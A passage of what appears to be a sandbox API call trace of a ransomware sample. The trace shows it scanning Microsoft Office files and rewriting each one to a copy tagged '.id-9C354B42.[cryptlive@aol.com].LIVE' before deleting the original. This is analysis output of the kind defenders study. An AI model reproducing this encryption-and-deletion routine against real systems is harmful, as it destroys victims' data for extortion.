lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.424] lstrlenW (lpString=".1cd") returned 4 [0137.424] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.424] lstrlenW (lpString=".jpg") returned 4 [0137.424] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.424] lstrcmpiW (lpString1=".MML", lpString2=".LIVE") returned 1 [0137.424] lstrlenW (lpString="OFFICE10.MML") returned 12 [0137.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.429] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=312376) returned 1 [0137.429] CloseHandle (hObject=0x390) returned 1 [0137.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0137.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0137.437] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.438] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0137.627] GetLastError () returned 0x0 [0137.627] ReadFile (in: hFile=0x3a4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x4c438, lpOverlapped=0x0) returned 1 [0137.635] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x4c440, lpOverlapped=0x0) returned 1 [0137.641] ReadFile (in: hFile=0x3a4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.641] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.641] SetEndOfFile (hFile=0x384) returned 1 [0137.641] CloseHandle (hObject=0x384) returned 1 [0137.641] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.641] SetEndOfFile (hFile=0x3a4) returned 1 [0137.649] CloseHandle (hObject=0x3a4) returned 1 [0137.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1 [0138.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.236] lstrlenW (lpString=".doc") returned 4 [0138.236] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0138.236] lstrlenW (lpString=".docx") returned 5 [0138.236] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0138.236] lstrlenW (lpString=".pdf") returned 4 [0138.236] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0138.236] lstrlenW (lpString=".xls") returned 4 [0138.236] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0138.236] lstrlenW (lpString=".xlsx") returned 5 [0138.236] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0138.236] lstrlenW (lpString=".ppt") returned 4 [0138.236] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0138.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.236] lstrlenW (lpString=".zip") returned 4 [0138.236] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0138.236] lstrlenW (lpString=".rar") returned 4 [0138.236] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0138.236] lstrlenW (lpString=".bz2") returned 4 [0138.236] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0138.236] lstrlenW (lpString=".7z") returned 3 [0138.236] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0138.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.236] lstrlenW (lpString=".dbf") returned 4 [0138.236] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0138.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.236] lstrlenW (lpString=".1cd") returned 4 [0138.236] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0138.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.236] lstrlenW (lpString=".jpg") returned 4 [0138.237] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0138.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.237] lstrlenW (lpString=".doc") returned 4 [0138.237] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0138.237] lstrlenW (lpString=".docx") returned 5 [0138.237] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0138.237] lstrlenW (lpString=".pdf") returned 4 [0138.237] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0138.237] lstrlenW (lpString=".xls") returned 4 [0138.237] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0138.237] lstrlenW (lpString=".xlsx") returned 5 [0138.237] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0138.237] lstrlenW (lpString=".ppt") returned 4 [0138.237] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0138.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.237] lstrlenW (lpString=".zip") returned 4 [0138.237] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0138.237] lstrlenW (lpString=".rar") returned 4 [0138.237] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0138.237] lstrlenW (lpString=".bz2") returned 4 [0138.237] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0138.237] lstrlenW (lpString=".7z") returned 3 [0138.237] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0138.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.237] lstrlenW (lpString=".dbf") returned 4 [0138.237] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0138.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.237] lstrlenW (lpString=".1cd") returned 4 [0138.238] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0138.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0138.238] lstrlenW (lpString=".jpg") returned 4 [0138.238] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0138.238] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0138.238] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0138.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0138.972] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=158600) returned 1 [0138.973] CloseHandle (hObject=0x1e4) returned 1 [0138.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0138.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0138.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.979] lstrlenW (lpString=".doc") returned 4 [0138.979] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0138.979] lstrlenW (lpString=".docx") returned 5 [0138.979] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0138.979] lstrlenW (lpString=".pdf") returned 4 [0138.979] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0138.979] lstrlenW (lpString=".xls") returned 4 [0138.979] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0138.979] lstrlenW (lpString=".xlsx") returned 5 [0138.979] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0138.979] lstrlenW (lpString=".ppt") returned 4 [0138.979] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0138.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.979] lstrlenW (lpString=".zip") returned 4 [0138.979] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0138.979] lstrlenW (lpString=".rar") returned 4 [0138.979] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0138.979] lstrlenW (lpString=".bz2") returned 4 [0138.979] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0138.980] lstrlenW (lpString=".7z") returned 3 [0138.980] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString=".dbf") returned 4 [0138.980] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString=".1cd") returned 4 [0138.980] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString=".jpg") returned 4 [0138.980] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString=".doc") returned 4 [0138.980] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString=".docx") returned 5 [0138.980] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0138.980] lstrlenW (lpString=".pdf") returned 4 [0138.980] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString=".xls") returned 4 [0138.980] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString=".xlsx") returned 5 [0138.980] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0138.980] lstrlenW (lpString=".ppt") returned 4 [0138.980] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString=".zip") returned 4 [0138.980] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString=".rar") returned 4 [0138.980] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0138.980] lstrlenW (lpString=".bz2") returned 4 [0138.980] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0138.980] lstrlenW (lpString=".7z") returned 3 [0138.980] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0138.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.980] lstrlenW (lpString=".dbf") returned 4 [0138.981] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0138.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.981] lstrlenW (lpString=".1cd") returned 4 [0138.981] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0138.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0138.981] lstrlenW (lpString=".jpg") returned 4 [0138.981] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0138.981] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0138.981] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0138.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0138.982] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=41864) returned 1 [0138.982] CloseHandle (hObject=0x3b0) returned 1 [0138.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0138.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0138.983] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.983] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0138.983] GetLastError () returned 0x0 [0138.983] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xa388, lpOverlapped=0x0) returned 1 [0138.985] WriteFile (in: hFile=0x1e4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0138.987] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0138.987] WriteFile (in: hFile=0x1e4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.987] SetEndOfFile (hFile=0x1e4) returned 1 [0138.987] CloseHandle (hObject=0x1e4) returned 1 [0138.987] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0138.987] SetEndOfFile (hFile=0x3b0) returned 1 [0139.482] CloseHandle (hObject=0x3b0) returned 1 [0139.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 1 [0139.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.492] lstrlenW (lpString=".doc") returned 4 [0139.492] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.492] lstrlenW (lpString=".docx") returned 5 [0139.492] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0139.492] lstrlenW (lpString=".pdf") returned 4 [0139.492] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.492] lstrlenW (lpString=".xls") returned 4 [0139.492] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.492] lstrlenW (lpString=".xlsx") returned 5 [0139.492] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0139.492] lstrlenW (lpString=".ppt") returned 4 [0139.492] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString=".zip") returned 4 [0139.493] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.493] lstrlenW (lpString=".rar") returned 4 [0139.493] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString=".bz2") returned 4 [0139.493] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString=".7z") returned 3 [0139.493] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString=".dbf") returned 4 [0139.493] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString=".1cd") returned 4 [0139.493] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString=".jpg") returned 4 [0139.493] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString=".doc") returned 4 [0139.493] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString=".docx") returned 5 [0139.493] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0139.493] lstrlenW (lpString=".pdf") returned 4 [0139.493] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString=".xls") returned 4 [0139.493] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0139.493] lstrlenW (lpString=".xlsx") returned 5 [0139.493] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0139.493] lstrlenW (lpString=".ppt") returned 4 [0139.493] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0139.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.493] lstrlenW (lpString=".zip") returned 4 [0139.493] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0139.493] lstrlenW (lpString=".rar") returned 4 [0139.494] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0139.494] lstrlenW (lpString=".bz2") returned 4 [0139.494] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0139.494] lstrlenW (lpString=".7z") returned 3 [0139.494] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0139.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.494] lstrlenW (lpString=".dbf") returned 4 [0139.494] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0139.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.494] lstrlenW (lpString=".1cd") returned 4 [0139.494] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0139.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0139.494] lstrlenW (lpString=".jpg") returned 4 [0139.494] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0139.494] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0139.494] lstrlenW (lpString="FOLDER.ICO") returned 10 [0139.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0139.496] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=4710) returned 1 [0139.496] CloseHandle (hObject=0x3b4) returned 1 [0139.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 0x20 [0139.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0139.497] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.497] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.569] GetLastError () returned 0x0 [0139.569] ReadFile (in: hFile=0x3b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1266, lpOverlapped=0x0) returned 1 [0139.571] WriteFile (in: hFile=0x3b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0139.577] ReadFile (in: hFile=0x3b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.577] WriteFile (in: hFile=0x3b0, lpBuffer=0x40f0020*, 